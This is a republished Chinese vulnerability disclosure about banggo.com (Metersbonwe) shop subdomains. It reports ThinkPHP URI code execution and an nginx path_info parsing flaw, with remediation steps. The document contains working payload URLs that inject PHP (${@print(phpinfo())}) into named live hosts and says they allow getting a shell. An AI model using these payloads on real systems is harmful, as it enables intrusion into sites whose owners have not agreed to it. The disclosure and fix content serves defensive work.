来源:自学PHP网 时间:2015-04-17 11:59 作者: 阅读:次
[导读] 美特斯邦威两个商城PHP代码执行导致直接沦陷;某子站nginx解析漏洞两个商城ThinkPHP框架URI任意代码执行漏洞http://ampm.banggo.com/Goods/allcomment_616513.shtml/abc-abc-abc-$%7B@print(phpinfo())%7D/http:/......
美特斯邦威两个商城PHP代码执行导致直接沦陷;
某子站nginx解析漏洞
两个商城ThinkPHP框架URI任意代码执行漏洞
http://ampm.banggo.com/Goods/allcomment_616513.shtml/abc-abc-abc-$%7B@print(phpinfo())%7D/
http://tuan.banggo.com/pptuan/10-0-1-0.shtml/abc/abc/abc/$%7B@print(phpinfo())%7D
代码执行,直接就可以getshell了。
还有一个nginx解析漏洞:http://express.banggo.com/css/templatecss/global.css/seay.php
修复方案:
亲爱的美邦,一直很喜欢哇,求礼物,求鼓励。
thinkphp的代码执行,
可下载官方发布的补丁:
http://code.google.com/p/thinkphp/source/detail?spec=svn2904&r=2838
或者或者直接修改源码:
/trunk/ThinkPHP/Lib/Core/Dispatcher.class.php
$res = preg_replace('@(w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,$paths));
修改为
$res = preg_replace('@(w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2';', implode($depr,$paths));
将preg_replace第二个参数中的双引号改为单引号,防止其中的php变量语法被解析执行。
nginx解析漏洞修复:
引用自百度:
1 关闭php.ini里的path_info,cgi.path_info设置成0.如果默认前面有;或者就没这段,就手动加上cgi.path_info = 0,2 修改nginx里的设置。
比如原始文件
server {
listen 80;
server_name typengine.com;
location / {
root /home/www/typengine.com;
index index.php index.html index.htm;
autoindex on;
}
location ~ \.php$ {
root html;
fastcgi_pass 127.0.0.1:9000;
fastcgi_index index.php;
if ( $fastcgi_script_name ~ \..*\/.*php ) {
return 403;
}
fastcgi_param SCRIPT_FILENAME /home/www/typengine.com$fastcgi_script_name;
include fastcgi_params;
}
}
|
自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习
京ICP备14009008号-1@版权所有www.zixuephp.com
网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com